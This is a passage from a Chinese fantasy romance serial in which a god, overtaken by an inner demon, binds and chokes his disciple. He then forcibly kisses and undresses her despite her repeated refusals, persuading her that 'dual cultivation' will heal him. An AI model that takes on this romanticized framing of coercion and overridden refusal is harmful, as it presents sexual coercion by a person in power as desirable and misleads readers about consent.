几次接触,白芷大概也几分了解这位仙君的性子,最是端方守礼,她也不强求,笑着等他把礼节做全。 待九黎轻点过头之后,白芷这才继续开口,“刚刚我们说到哪里,哦对了,仙桃。” 她的语气熟稔,唠家常一般,丝毫不察身边的云彩都小心翼翼绕开周围不同寻常的冷硬气息。 白芷转头问道,“师尊尝了那仙桃没有?” 女子声音清甜,语落时,两道目光一齐落到她身上。 她目光殷切,明显只是递来一个话头,重要的不是他的答案,而是她之后要说的话。 九黎说没有。 果然,女子噗呲一笑,“我也没吃呢。” 白芷嫌那桃子吃起来过于麻烦,所以其他瓜果吃了不少,仙桃却一个没动。 “昊阳仙君说,此次百花盛宴,重头戏便是这些仙桃。蟠桃园的仙桃几万年一熟,难得这次百花盛宴,蟠桃园的仙桃熟了几株……” 九黎侧手,虽面上没什么表情,但听得认真。只是待她又想看向别人时,他指尖忽地收紧,握了握女子的手腕,“那便回去吧。” 白芷被打断也不恼,见九黎脸色似有不耐,明白此趟出来许久,大概已经到了师尊的极限,她向来擅长见好就收,哦了一声,“直接回九重天么?” 其实不是,他指的是回宴上,她既然对那仙桃感兴趣,他隐约记得案桌上是放了好些…… 但九黎还是嗯了一声。 “好。”白芷爽快应下。 她转身同昊阳仙君道别,“那便多谢仙君引路了,下次有机会定叫上诸夏,去你仙邸看看你说的那几样珍宝。” 这是当着他的面相邀下次相见? 小虎兽心性澄澈,心思直接写在脸上。不难看出她倒是真喜欢仙帝这儿子,替他引荐,主动应邀,一来一回其乐融融…… 见她还在说,九黎忍不住皱眉,一层浓浓的不耐毫不掩饰地淌着,压迫感十足。 当然,迟钝的小虎兽没有察觉。 但昊阳仙君不迟钝,况且,那股威压几乎已经压得他透不过气。 “随时相待。” 浅笑应好后,昊阳仙君目光迅速从女子脸上移开,朝着九黎行礼,“不知能否耽误神尊几息?” 九黎终于抬眸扫了男子一眼。 倒是有点胆量。 白芷有些意外昊阳仙君的话,当下也转头看着九黎。 九黎轻轻捏了捏她的手腕,让她先回席上等他。 昊阳仙君向来是个进退得宜的人,料想他要同师尊说的应是什么要紧事,白芷没有多停留,应了是便先回席上。 而留在原地相对而立的两个男子,一个宛若九天玄崖上绽放的雪莲,圣洁清冷,一个有如灼灼暖阳,沉稳清雅,在女子离开后,同时互相转看向对方。 两人此时都对对方的心思心知肚明。 而昊阳仙君斗胆开口请九黎留下,自然也不是要说什么阿谀奉承之话。 “白虎星君很是爱重神尊。” 这样一句没头没尾的话,在此刻却丝毫不见突兀。 眼前站着的是三界真正的主宰,他周身萦绕的光华是天然的天堑,叫人望而却步,然昊阳仙君强顶着威压,脸上依旧温和,“下仙不敢打听九重天之事,但神尊或许知道,白虎星君原本与我要在近日结契” 话落,身上的威压又沉了几分。 青衫之下,昊阳仙君脊背绷得笔直,心跳撞得胸腔生疼,每一声都在提醒他莫要招惹这位无需抬手都能将他碾成灰的三界至尊。 但只要想到那张盈盈笑脸,恐惧似乎也变得不足为惧。 “小仙知道,当初星君之所以想与小仙结契,是为了神尊。” “她不愿神尊总是为她费心” 小虎兽是怎么想的,九黎大抵知道,但这些话不该由一个无关人等讲出来。 听着……很是让人厌烦。 “此番斗胆拦下神尊,是因为小仙有些心迹想与神尊表明”昊阳仙君藏在袖中的手指攥得泛白,周遭的威压让他喉间生出淡淡血腥味,但他仍坚持将话说完,“小仙倾心星君已久,能得星君青睐,是小仙之幸,因此无论付出何等代价,小仙都甘之如饴,只求神尊能够成全……” 九黎原本是有些不耐,但听着听着,他又觉得好笑。 到底还是高看他了。 大胆就大胆到底,偏偏要遮遮掩掩含糊试探。 在他面前剖白心迹,强调小虎兽与他心心相印,无非是拐弯抹角告诫他不要越界 要他成全? 不说他与小虎兽并未结契,就算结契,又如何? 他平生唯一动念想要一人,若是得不到,那便枉为神。 九黎看着眼前不卑不亢的后生,嗤笑一声,直接将他刻意回避的那层窗户纸撕开。 “我是喜欢她。” 见眼前男子失了温和,目露惊愕,想指责又有所顾忌,九黎只觉得好笑。 “那又如何?” 明明是极为挑衅的话,但这句话经由神明之口,便如同神旨,理所当然,无人敢反驳。 在难以承受的威压之下,昊阳仙君心里萦绕的不是恐惧,而是忽然浮现出那位让他倾心的女子。 眼前男子睥睨不耐的眼神,无端让他想到第一次见到白芷时的场景。 那时她跪在凌霄殿前,看着从她身旁经过的凶兽,即使跪着,脸上也 是一股无惧无畏的肆恣…… 他们师徒,身上都有对方的影子 昊阳仙君只觉得心里猛然一坠,强撑的理智姿态慢慢溃散。 他忽地什么都不想考虑,不愿细想那些相似,也不想去管惹怒神明会有什么后果。 他有机会走近她的,他一定要抓住这个机会。 “神尊问过她吗?”昊阳仙君目光毫不避让地迎上去,“星君她知道吗?” 她知道她敬重的师尊其实对她存着异样心思么? 若她知道,还能这般信任和依恋她的师尊吗? 昊阳仙君此刻也不知道自己到底想说什么,但他知道说出去的话如泼出去的水,他不怕争,也不怕死,可眼前高高在上的男子愈是平静,他袖间拳头握得愈发紧,背脊也直挺。 “星君心性懵懂纯净,神尊当真想强之毁之?” 强之?毁之? 九黎终是嗤笑出声。 他的情感,从来只愧对一人。 其他人知道也好,不知道也罢,他丝毫不在意。 但不在意不代表,什么人都能在他面前越界指点。 尤其是胆敢觊觎小虎兽的人。 九黎眉间晃过一丝红光,快得恍若错觉。 “等你配站到我面前的时候,再来问我这些。” 神光消散在眼前,凝结的云雾重新荡漾开来,昊阳仙君直挺的脊背再也绷不住,他拿出时刻佩在身上的祥云瑞兽佩,紧紧握在手心 好半晌,他才从男子临走前留下的话里回过神,自嘲地笑了笑。 仙帝之子,未来仙帝,仙界百年难得一遇的天才他被冠以太多称号,所以,他连自知之明都没了吗? 凡人祈愿时,总唤神仙神仙,把神和仙相提并论。 可他们不知道,神和仙之间隔着的,可不止一个下星海的距离。 下星海,是神界和仙界之间永不可跨越的天堑。 正如他与他们,是天堑之别。 白芷于他,从来都是妄想。 他为什么要去激怒神尊呢? 仅仅因为察觉到他对女子不止于师徒的情愫? 亦或是,他第一次真真切切看到心仪女子在另一个男人前的模样? 那幅孩童般恣意随性,浅笑嫣然的模样,他从来没见过。 在他面前,她也总是浅笑着,但那抹笑,始终叫人觉得难以触及。 她与她的师尊一样,与生俱来带着高不可攀的圣洁。 而那两抹圣洁站在一起的时候,却惊人地自然契合 正是因为看到这种差距,所以他从内心深处开始动摇惊慌,他怕他的妄想,终究只能成为妄想。 理智慢慢回笼之后,昊阳仙君心里慢慢升起一丝后怕,他担心刚刚他的所言所行,会给女子造成不必要的麻烦。 如他所言,白虎星君确实是一个心性纯净之人。而他敢冒着威压说那些话,是因为他看得出来,女子看着她师尊的眼神,还是清澈干净的孺慕。 若她知道实情 第115章 第115章以不可抵挡之势缠绕…… 仙殿内觥筹交错,笑语盈盈,因上首神尊的离席,众仙家在仙乐袅袅氛围中自如放松,连仙帝都走下玉阶,展颜与众仙执壶对饮,颇有共醉良辰之意。 白芷先行回到席上,继续吃着瓜果赏舞听乐。 仙帝在下首自然注意到白虎星君归席,但见她自得其乐,也没有上前叨扰,只是亲自唤来仙娥,吩咐仔细服侍,瓜果仙液不断。 而白芷只坐下一小会,就陆续来了几个仙娥,把她桌上的瓜果又换了一轮。 最后那个手挎仙桃提篮等在一旁的仙娥,只看了一会就发现白芷吃瓜果的规律。 她似乎也没有很特别地喜欢某一样,仙娥们放什么她便捻起什么,对那些瓜果可谓是雨露均沾。 只唯独离她手边最近的一盘仙桃,一直孤零零地呆在那儿,丝毫不得这位星君青睐。 轮到这仙娥上前时,她特意从她的提篮里又挑了两颗粉润饱满的仙桃,小心翼翼往前推。 放完后她故意放缓起身动作,可直到她站起,也不见这位星君看那仙桃一眼。 白芷正专心看着台上的乐舞,见仙娥退开,她微笑颔首,“多谢仙子。” 这仙娥未料到白芷会主动说话,有些惊讶。 想着仙帝的吩咐,她咬了咬唇,终是忍不住开口问道:“星君是不喜欢这仙桃么?” 闻言,白芷愣了愣,下意识往那盘仙桃看去。 不是不喜欢,她是想,带回去给七彩雀尝一尝…… 但桌上又多了两个,看起来更鲜翠欲滴…… 见仙娥目光盈盈地盯着她,白芷哪里好意思解释缘由,于是,她摇了摇头,“没有的事。” 说着,她就近拿了一个桃子在手里,送到嘴边咬了一口…… 咬完之后,见仙娥直愣愣地看着她,神情颇惊奇有趣,她忍不住笑了笑。 这是怎么了,她吃个桃子也让她们这么惊讶吗? 虽一直盯着舞台看,但也知道这些小仙娥一个个一直偷看她 白芷故意道:“没见过人吃桃子?” 几个小仙娥垂首站在一旁,听到白芷的话,心中一肃。 “不是不是。”仙娥着急解释,“这仙桃鲜美多汁,小仙只是……” 原本还惊畏因多嘴惹到这位星君不悦,但仙娥们没想到一抬头,看到的是一张漾着笑涡的倩脸。 原来不是责怪她们多嘴 笑起来的白虎星君眼尾微微下垂,如春风拂面,将她身上疏离感层层剥落。 几个小仙娥纷纷松了口气,见提仙桃的小仙娥还语无伦次没反应过来星君是在与她玩笑,纷纷捂嘴偷笑。 白芷就是这么个性子,开启了话匣子,便跟谁都能聊上几句。 她身上总有股很强的亲和力,也不知道她又说了什么,这几个送果子的小仙娥一改刚刚拘束模样,纷纷围在周遭,眉开眼笑不知在说什么趣事。 底下不知道哪位仙人喝得有些多了,踉跄了下,撞到另一个人,险些摔倒。 几个小仙娥看到后,捂着嘴笑,指给白芷看。 白芷看过去,却是一眼看到被撞到的昊阳仙君。 她下意识往他身后望去,却没见到师尊。 师尊去哪了? 白芷有些奇怪,不是他让她回来这里等他的吗? 师尊不会先回去了吧!- 果然,没过一会,这个想法得到应验。 让白芷找了好半天的诸夏仙君急匆匆跑进仙宫内,在众仙惊讶的眼神中,小短腿哒哒急奔到玉阶上,拨开围在白芷身旁的仙娥。 “那个”诸夏有些喘,神情也颇为严肃 见白芷看了她们一眼,仙娥们适时颔首,拎着提篮翩跹离开。 诸夏回头瞧了瞧,见底下不时有仙人往上张望,他深吸口气,让自己镇定下来。 底下仙人早有耳闻诸夏仙君与九重天上的白虎星君交好,见白虎星君不责怪诸夏无状,反而端给他一杯茶水,心里暗暗惊奇,这位星君性子倒是和善,怎么与传言睚眦必报的模样不太一样? 底下仙帝咳了一声,众仙立马又收回目光,如常般又开始走动寒暄。 “你怎么还在这里?”诸夏走近,压低声音,“我刚见神尊往九重天去了” 诸夏进殿前,正好见九黎身影从天边一闪而过。一进殿里见白芷还在,他心里忽然觉得有些不对劲。 “师尊真先回去了?”白芷诧异。 那她还让她回来这里等他作甚。 那她也回去了,白芷侧了点身,将桌上几个仙桃装进乾坤袋里。 诸夏见状,皱眉问:“你在做什么?” 一个星君,怎么也做这种夹藏仙桃的事情。 “哎呀,别喊。”白芷嘘了一声,“我拿几个给七彩雀尝尝。” 诸夏也拿了好几个,自然不好说什么,只好叮嘱:“那你回去看看神尊去,有什么事情第一时间唤我。” “知道了知道了。”白芷应道,她看了底下正举杯饮得尽兴的仙帝一眼,“那你也帮我跟仙帝说一声。” 诸夏看下去,点点头,自然知道若是她亲自去道别那场面又要大起来。 “知道了,快去吧。”- 就算诸夏不叮嘱她要去看看师尊,白芷亦会去。她心里也觉得不对劲,师尊既答应陪她前来,若不是有什么紧急之事,断不会留下她先走。 思及此,她召开一片云彩,脚不停蹄回了九重天,一回去便直奔兰因殿。 但她没想到,往日随意进出的结界,在她伸手落上之际,居然化作一堵琉璃冰墙,将她往外震开。 白芷生平第一次在师尊这里吃了闭门羹,莫名其妙之外,心里不由得焦急起来。 刚刚明明还好好地嘱咐她等他的师尊,怎么转眼就把她挡于他的结界外? 昊阳仙君到底说了什么要紧事? 应该回来前问问昊阳仙君的! 白芷在那冰墙上拍了拍,高声呼喊着师尊,但结界内外分隔两方天地,即使她喊得再大声,里头不想听到的话便听不到一声响应。 着急之下,白芷灵机一动。 她伸出自己的手掌,指尖蹦出烈焰般的金色光芒,以光芒为刀,朝着另一边手掌划过。 血滴如珠缓缓渗出 白芷抬起渗着血滴的手掌再次触碰那面冻人的琉璃冰墙,血珠渗透琉璃之时,冰墙化成晶蓝雾气,结界现出一道缝隙,白芷趁机提脚踏入- 从来都是金光环绕的莲 花虚境,此时如蒙在一片茫茫夜色之中,从恒亮到暗黑,白芷猛地眯起眼,让眼睛适应眼前的黑暗。 莲花虚境内是透骨的寒冷,目之所及几乎所有东西都蒙上一层洁白的冰晶。 白芷眼皮重重跳了几下,若不是她知道这是他们师徒平日修炼的莲花虚境,她会以为自己误入某个冰雪秘境。 雪色雾气遮挡下,不大的空间里,目光居然没有第一时间抓取到想找的人。 白芷伸手把眼前厚重的白雾挥开,嘴上轻呼师尊。 然未得到回应,她只好循着金莲的方向走近。 在手即将碰上金莲之际,脚下不知踢到什么,她一时不察竟被绊倒在地。 金莲之上,九重莲瓣层叠绽开,剔透中透着幽蓝的寒光。九黎闭目坐在莲心处,周遭神力离散,往日疏冷清隽的面容此刻在灵力暴乱中忽明忽暗,额间一抹猩红灼烧闪烁…… 白芷摔倒莲座边上,撑着手想站起来时,正好瞥见一让人心惊的景象。 莲座根部上割裂出细小的裂隙,每条裂隙上暗红色的脉络上正源源不断地吸取着周遭的混沌雾气,在白芷想凑近细看时,虚境中忽然响起琉璃碎裂的脆响 看到眼前即将被灵力撕裂的空间,此刻白芷再清楚不过,师尊灵力失控了。 她咬着牙顶着那些被绞成旋涡状的冰晶,艰难地扶着莲座站了起来。 而仰头看见的场景,让她心头更是一沉。 不知从哪里冒出来的墨色烟气正张狂地吞噬师尊周身的晶蓝灵力,莲瓣上凝固的雪色冰晶凛凛作响,随着极致压抑的喘息声凝成随时可贯穿心脏的结晶…… 白芷心里暗呼不好,眼前一幕无端让她回想起万年前桑尤堕魔的场面。 她焦急在身上翻找留音石,可不知是惊惧还是被冻得发抖,好不容易翻到的留音石在灵力注入之瞬,被乍然夹杂着冰渣袭来暴风翻卷在地。 一声掉地脆响之后,周围忽然静寂如死地。 白芷顶着那些冰渣子弯腰想去捡那枚留音石之时,腰间突然被一股力量缠绕住。 原本互斥对抗着的两股灵力不知何时融于一体,将白芷卷到莲座之上。 终于,师尊的模样毫无遮挡地印入眼帘。 白芷从未见过这样的师尊—— 他额间如灼烧般的血色神纹猩红闪烁,那双圣洁清冷的瞳孔被墨色浸染,收缩成一条竖线,蓝与黑在其中疯狂交织,倒映出她惊惧苍白的脸。 她不知道该怎么止住那源源不断缠绕在师尊身上的墨色烟气,她扑到九黎身前,拉着那双冰凉冷硬的手掌,语气颤抖地喊着师尊,试图将九黎的神志唤回。 手掌不知何时拉出几道常常的伤痕,血珠因周遭的冰冷凝固,但白芷丝毫察觉不到疼痛,见九黎目光冷滞,却没有推开她,她心里虽害怕,却好似看到点希望一般,整个人贴上搂住他。 一靠近,鼻尖闻到厚重的血腥味,手掌摸到一片湿润。 白芷抬手一看,满手血红。 九黎的背部被周围失控盘旋冰晶刺透,不知多少伤痕,总之摸上去湿黏一片 眼眸中清明短暂压下墨色之时,九黎才发现小虎兽不知什么挂在自己身上,浑身发抖, 他眉间重重敛起,伸出一只手,硬生生把试图爬上女子身上的墨色烟气尽数扯开,而后转手在她身上落下一个法阵,瞬间,那些失控的灵力和冰晶丝毫近她不得。 可被抽走的烟气不消散反而愈发浓黑,转瞬又循着九黎身上那些泛血伤痕钻进。 “不要” 白芷亲眼看着那几团黑气沁入师尊身上,她强势压着心底的惊慌,用手去捂着那些泛血的伤口。 她指尖源源不断的金黄灵力渗入修复着那些裂开的伤疤,可灵力修复的速度比不上血流的速度,白芷的脸色也越来越苍白。 九黎快要控制不住自己,体内有两种力量在拉扯着。 他艰难推开扑在身上的女子, “出去。” 这个时候除了师尊身边,她还能去哪? 白芷唇边因灵力过耗渗出一道长长的血痕,她嘴里不知呢喃着什么,而后,两道环状光影从乾坤袋内被召唤出来,瞬间将整座虚境照得如同白昼。 “日月之环,开。” 随着白芷最后一声咒语,两道光影一金一蓝在空中交织相扣。日环如鎏金熔铸,环身流淌着永恒不息的炽光,表面浮动着母神曾经亲手刻下的太阳神纹,而月环如同寒冰凝就,通体剔透如上等灵玉,环身跃动细碎太阴霜华。 日芒与月华渐渐交织成混沌初开的太极之形,以不可抵挡之势自下而下缠绕至九黎身上。 霎时,那些叫嚣冲撞的墨色烟气在碰上日月之环散发的光圈时被催散…… 半晌之后,九黎眉心的血色神纹稍稍黯淡 第116章 第116章那仰头承吻的女子,与…… 日月之环是白芷偶然从母神那得来的神器,上面蕴有母神之力,应能短暂压制住师尊身上失控的灵力。 果然,被日月之环素束缚住的九黎,溃散的瞳孔渐渐恢复清明 日月之环散出大片金光,白芷趴在莲座上,一眼找到刚刚掉落的留音石。 她指尖一收,留音石回到她手上。 注入一丝灵力,来不及解释,她只是急切召唤诸夏过来。而后,她双手结印,试图让日月之环再维持一阵神力。 可她如今灵力有限,那些墨色烟气短暂无法近身,可却丝丝缕缕围绕在金环边上,仿佛想伺机等着金环黯淡之际,再一举彻底地摧毁男子全部清明。 白芷瞥了身旁的留音石一眼,就算诸夏赶到,恐怕也晚了。再不做点什么,或许真的要眼睁睁看着师尊堕魔 她知道那些墨色烟气是什么,一旦师尊完全无力抵抗心魔,这些墨色烟气便会吸取师尊身上的灵力,将他的灵力转化为魔力 若真是那样,师尊就会变成第二个桑尤 届时,三界必定大乱- 九黎勉强压制住心魔睁开眼之时,小虎兽就跪坐在自己身前。 平日里总是笑意盈盈的小脸浮现半透明的魂魄经络,而她指尖合拢正凝出一抹幽蓝魂火 九黎一眼便看出她在行的术法。 剥魂术。 她竟然敢用剥魂术。 周遭好不容易平复些的气压骤降,九黎牙关渗出血腥气,随着粗重的呼吸起伏,被日月之环暂时压制的心魔犹如困兽撞出牢笼。 此刻,他脑海里只剩下一个声音。 ——她倾心于别人,所以宁愿强行剥魂,宁愿死,也要跟他划清界限,也不愿留在他身边。 墨色烟气彻底将日月之环缠绕,那跃动闪烁的神纹逐渐黯淡。 九黎额间的血色神纹又开始灼烧发亮,在一团墨色烟气中,他冷漠地抬起滴血的手指,触碰缚在身上的日月之环。 而那金环吞噬他血液的那一刻,仿佛认主一般,转瞬从他身上脱落。 霎那间,鎏金与银蓝光环重新交缠相扣,化作锁链之状,从白芷脚底开始缠绕至上 自行剥魂并不是一件简单的事情,白芷正凝神在自己识海内排列三魂七魄,她在寻找师尊残留附着在自己元神的残魄。 而正当她辨认出来,五指化成爪状准备虚空剥离时,她的元神忽地被一股强势的力量拉扯出识海。 回神之际,胸口猛然翻涌,吐出一片灼烫鲜血。 白芷实在未料到会发生这样的意外,她以为日月之环能替她短暂压制住师尊的灵力,给她剥魂的时间。只要她剥出师尊的残魄归还,那么师尊就不会像如今这样轻易失控。 可她哪里知道,当初母神赠予她的日月之环,其实由九黎炼制。而这神器为何会落到白芷手里,又是一段说来话长的故事 总之,九黎的血促使日月之环认主,而认主后的日月之环,听从主人的调令,将白芷手脚缚紧。 白芷剥魂被强行中断,反噬吐血,剩余的些微灵力也完全被那日月之环压制住,此时的她,比手无缚鸡之力的凡人还要脆弱 白芷不明白师尊为何反过来禁锢她,她着急解释自己的行为,可还没等她擦干嘴上的血迹,脖颈突然被一双冰凉宽大的手掌掐住。 冰凉的鼻息就在耳畔,明明是熟悉的嗓音,可那嗓音冷得如同淬了冰,让听着的人不自觉打了个冷颤。 九黎看着女子眸光里闪过的惊惧,眼底翻涌着压抑到极致的暗潮。 女子越是害怕,他清隽的脸上愈是平静,而心底那股毁灭的欲望便愈是强烈。 他微俯下身,指腹重重捏住那段柔软的脖颈。 “你想剥魂?”他的声音很轻,却如同淬了冰,“就这么想离开?” 白芷身上失了灵力,冰冷一裹近,身子便忍不住轻轻颤抖,看着那摄人心魄的猩红印记,她使劲地摇头想要解释。 可男子根本不给她开口的机会。 他说了,他不给他们之间留任何余地。 花梨树下的那个吻,她是真的忘了还是什么,都不重要了。 日月之环随着主人的意念将女子紧紧缠住,九黎的指腹从女子的脖颈处缓缓向上。 明明眼底猩红破碎,手上的动作却很温柔。 他的指腹轻轻碾过那苍白柔软的唇瓣,直到碾出淡淡的粉色,那手指才往下,轻轻擦拭沾在她下颌处的几滴血迹。 细细擦拭完之后,他顺势抬起那精致细嫩的下颌。 “何必剥魂那么麻烦?”他忽地轻笑一声,“骨血回归,魂魄重聚,有更好的捷径。” 被这样捆绑住,看着一个全然陌生的师尊,白芷怎么可能不心慌,可听完男子的话,她还是下意识追问:“什么捷” “唔”话还没说完,她被忽然俯身的男子压到莲座上 两人距离不过咫尺,呼吸几乎交缠。 虽然惊愕,但面对处在失控边缘的师尊,白芷丝毫不敢乱动,连呼吸都自动放缓 她不明白,既然有捷径,为什么师尊不早些告诉她。 师尊应该知道,无论是什么办法,只要能帮到他,无论付出什么代价,她都会全力以赴的。 和着莲瓣上散出的清冷雾晶,九黎对着白芷的眼眸,淡淡吐出两字。 “双修。” 他的的脸立在日月之环的光影中,说完后,他的脸上浮出一抹极浅的笑。 若忽略他额间暗红得惊人的印迹,此刻,他平静地丝毫看不出失控的痕迹。 双修?白芷身子一怔,怀疑自己听错了。若不是手被缚住,此时她真的想往自己身上呼一巴掌,让脑袋清醒清醒。 而见女子蓦然僵硬,眼眸闪躲,九黎的手在她下颌处轻轻摩挲,继续说道:“你不是说,你对此功法了解颇深。” “怎么,你不知道它有此效用么?” 白芷被问得一噎,这话她确实说过。 当初冒出结契想法之后,她确实找诸夏了解了些许信息,双修愈是对灵力低微者,助长效用愈发显见。但这不是还没正式结契么,诸夏丢给她看的那本详细记载双修功法的典籍,她还没来得及仔细研读 见女子眼神闪烁,不知又想起了谁,九黎脸色一沉,轻嗤一声,“既然你唤我一声师尊,那今日为师便好好教教你,如何将这个术法用到极致。” 从踏入莲花虚境后,九黎讲的每句话都让她听得云里雾里。 她好像听懂了,又好像没听懂。 揣摩话意不是她的强项,可感知危险是兽类天性,白芷直觉再被师尊这样压着,一定很危险 她心里盘算着诸夏应该已经到了,但诸夏定然破不开师尊的结界,她得想办法将结界打开。 思及此,白芷双手抵在九黎胸前,索性干笑了两声。 “那个,师尊,我手痛你能不能先放开我?” 她的声音因发抖而带着些许颤意,眼眸也因刚刚被掐住脖颈而渗出微微湿意,看着好不可怜。 九黎微微垂下眼睫,盯着卡在他虎口处的温润肌肤,再往下。 她没说谎,此时她被缚住的右手手背上,长长一道血痕,指尖还在渗着血 九黎脸色沉了沉,他从上到下扫视一圈,才发现她的脚腕、手背、脖肩处皆有不少伤口。 而那刚被碾出淡粉色的唇瓣,只一会又变得苍白。 眨眼之间,捆在女子腕间的日月之环化成两道细碎光散,散无无形。 白芷双手终于没了束缚,可正当她想推开身上的男子坐起来时,腰间乍地一紧,一双手圈过她的腰。 九黎毫不费力,将她整个人抱坐膝上。 在白芷未反应过来之际,一道黑影落至眼前,她下意识地闭上眼。 带着冷意的唇瓣落下 微凉的触感落下之后,在唇上悬停,清凉的呼吸扫过鼻尖,将触未触的距离。 白芷脑袋一阵空白,所有的意识集中于一处- 九黎的掌心落在女主后颈处,力道很轻,可也难以挣脱。 唇瓣相贴的那一刻,所有烦躁叫嚣的情绪似有被抚平之意。他指尖轻轻摩挲着女子耳后的发丝,一下又一下浅啄品尝那甜美的唇瓣。 直到怀中女子反应过来,眼睫一颤,双手猛然握紧想将他推开时,他心念一动,日月之环牵引着女子的手环至他脖颈处。 九黎越发将人揽向怀里,紧紧贴近。 随着唇瓣碾磨停留的时间愈来愈长,那种想要靠近深入的渴望渐渐压制不住,呼吸逐渐变得滚烫,再一次触上之际,他不再耐心厮磨,而是轻轻啃咬住女子紧闭的唇瓣。 与往日清凌的声音不同,他的声音低哑地厉害。 “乖,张嘴。” 说完后,耐心似乎也耗尽。 不顾女子摇头,他的手掌滑入她的发间,不容抗拒地压近,唇重重碾上,舌尖也在女子嘤咛半启时肆意侵入。 柔软交缠之际,心跳骤然失控,九黎再无力维持那点可怜的清明理智,他不再抵抗,吻越来越深 低哑的话语湿漉漉钻入耳畔,仿佛扣响某段被遗忘的记忆之弦,白芷感觉身上血液瞬间倒流,身子一下僵透。 断断续续陌生的回忆不受控地往脑 子里钻,花梨树下,湿热的酒意,血色的眉间印,失控的喘息和嘤咛声 画面中,男子搂着身下的女子翻转拥吻之时,白芷清清楚楚地看到那仰头承吻的女子,与她长着同一张脸 所以,那并不是梦是吗? 如被冰水浇了个透心凉,白芷恍然间有种死到临头的恐慌感。 她清楚地意识到,这不是他们之间的第一个吻。 师尊为什么要亲她? 她忽然觉得整个世界都乱了,明明灵力才被反噬,可不知从哪里来的一股力气,她挣脱日月之环的禁锢,生生将吻得忘我的男子推离开。 第117章 第117章越是推拒,越无法停止…… 突然窜进脑海里的记忆叫人心里止不住发慌,再对上一双被暗色侵染的眼眸,白芷心更是一下往下沉。 而男子被打断,眉间一皱,反手将小虎兽抵在胸前的手一把压到身后,唇便又寻了过去。 身上的人根本抵不开,分不出急促的呼吸是谁的,见师尊又靠近,白芷急切转头躲开,带着微微烫意的吻便落到耳畔。 已经掉进陷阱里的猎物愈是挣扎闪躲,愈是能激发猎人的兴趣。 九黎微微张开唇,含上主动送上的耳垂 耳尖湿润刺痛,白芷急呼一声,“师尊,你醒醒…” 可双方到底力量悬殊,她的反抗丝毫无一丝撼动之力。 白芷只能一直缩着身子换着方向躲闪,“师尊,我是白芷…” “师尊,我是白虎啊。” 她企图唤醒九黎的情智,可孰不知,她软绵的声音落到九黎耳畔,仿佛天然的催情剂。男子恍若未闻,只是流恋地吻过她的耳垂,脸颊,额角,一寸寸,温柔至极,而指腹不知何时滑到她的唇瓣边,试探性地接近,在她的贝齿边缘摩挲 “别……” 看着师尊眼里越来越浓厚的墨色,被灼热呼吸灼得有些晕沉的白芷用舌尖顶开男子作乱的手指,而后,紧紧抿住嘴唇,用力一咬。 师尊被心魔蒙蔽,但她不能。 她不能也被蛊惑,她要保持清醒。 白芷的语气急促得有些语无伦次,“师尊,你醒醒,我是白芷,我们是师徒,我们不能” 看着女子血迹斑斑的唇瓣,九黎终于顿下动作,呵笑一声,“所以,不是师徒就可以吗?” “” 她不是这个意思。 但即使他们不是师徒,师尊还是三界的神尊,他们这样也不对…… 但具体哪里不对,白芷也说不上来…… 终究不忍见小虎兽这般惊慌,九黎深吸口气,压下那些肆虐叫嚣的燥意。 “我说了,骨血交融,魂魄归位,没有比双修更好的法子了。” 他谆谆善诱,“你不是想帮我吗” 帮师尊…… 是 她说过,无论什么方法,无论付出什么代价,只要能帮师尊魂魄归位,她什么都愿意做。 见小虎兽眼神放空,仿佛真的在认真思考,九黎嘴角微微一勾,伸手抚上她的后脑勺。 “现在,”他抬起女子下颌,轻落一吻,“这样,就是在帮我。” 说完后,他不再给女子慢慢适应的时间,唇瓣再贴上之际,他叩紧她的下颌,温热的舌尖探入。 无论她能不能想清楚,他不会再放过她了。 小虎兽,只能是他的。 九黎闭着眼,如品尝世间最美妙的甜美精酿,他吻得投入,清隽的眉尾染上红潮,他的手紧紧压着女子的腰身,将她完完整整地紧贴,偶尔漏出几声压抑的喘息,沉得连四周的仙雾都泛起涟漪 可渐渐地,只是缠吻已经无法平息心底的燥意,反而叫那股燥意越烧越旺…… 裙衫被蹭得凌乱,腰带不知何时被绕成死结,几下没解开,男子微微皱了皱眉,指尖晶蓝略过,精美的雪纱腰带霎时化作零散碎片 他的手从散乱的裙摆内抚进,指腹摩挲着她腰间细腻的肌肤,惹起点点轻颤 莲瓣上结满晶蓝的冰晶,寒气飘浮,白芷却只觉得身体越来越烫。 不知是热得,还是呼吸不畅的缘故,她整个人晕晕乎乎,有一刻眼前甚至模糊闪过一片白光,她开始怀疑刚刚的反噬也让她生了心魔。 明明心底很清楚,师尊是因为失控才会这样对她。 他们这样拥吻的行为是错误的,是违背天理的。 可不知怎地,有一刻,她的手竟然不受控地想抱住压在她身上的人儿。甚至唇齿被缠磨时,她竟然动了念,忍不住想回吻 不管是人是兽,求生都是本能,在被吻得即将窒息那一刻,白芷忍不住咬了一口在她唇间作乱的柔软。 可这一咬,不禁没有赶退那侵入者,反而,九黎的呼吸蓦然重了重,眉间的血色印迹灼灼发亮。 他微微退开,在女子大口呼吸之际,微微太高她的下颌,以更适合深吻的姿势纠缠到底。 在冽洌寒雾中,女子的嘤咛和推拒换来的只是更霸道的缠磨。 吻很快不满足于口齿之间,修长指节从女子脖颈上流连滑过,将早已松垮的衣裳顺势扯落,吻辗转落在那细润莹白的肩臂上。 失控的神力在血脉中奔涌冲撞,某根弦却在与女子的亲近中越崩越紧。 再进一步是解脱抑或是沉沦,此刻无人知晓。 脖颈,肩臂,甚至胸前,白芷只觉得被掠过的每一处既痛又麻,她的灵魂似乎已经离体,身子几乎无法自控,每一次的触碰都让她控制不住地颤抖。 所有感官都超出容忍限度,以至于五感似乎都停摆,在阵阵颤抖中,她早已无法思考,只凭本能挣扎喘息求生。 而每每在白芷觉得即将断气之时,男子总能及时放过她,施舍一丝喘息的间隙。 白芷好像出现幻觉,有犹如恶魔般低语的声音顺着湿漉漉的气息钻进耳廓。 “我的魂魄系于你身,你与我本该成为一体,不是吗?” 是吗? 那声音从耳廓钻入心里,悦耳地叫人发颤。 她好像被蛊惑了,脑袋里一片混乱。只能仅凭那种深入骨髓地本能判断那是九黎的声音,而九黎是不会骗她的。 所以,她与九黎就该结为一体的,是对的。 得不到小虎兽的回应,男子终于从圆润的洁白中抬起头,他往上从脖颈处亲到下颌,再慢慢地缠磨到那怎么都亲不厌的唇瓣。 已经叼到嘴边的肉,他有的是耐心慢慢哄着。 当然,哄也不是毫无章法地哄。 先不算温柔地夺走她全部的气息,将她的气息拆吃入腹,将人亲得只能软绵绵乖乖窝在怀里时,这个时候,开始好好跟她讲道理。 女子急促喘息的间隙,九黎微微抬起身,轻轻为她撇开额间的几丝碎发。 他耐心地等着女子睁眼。 “双修。” 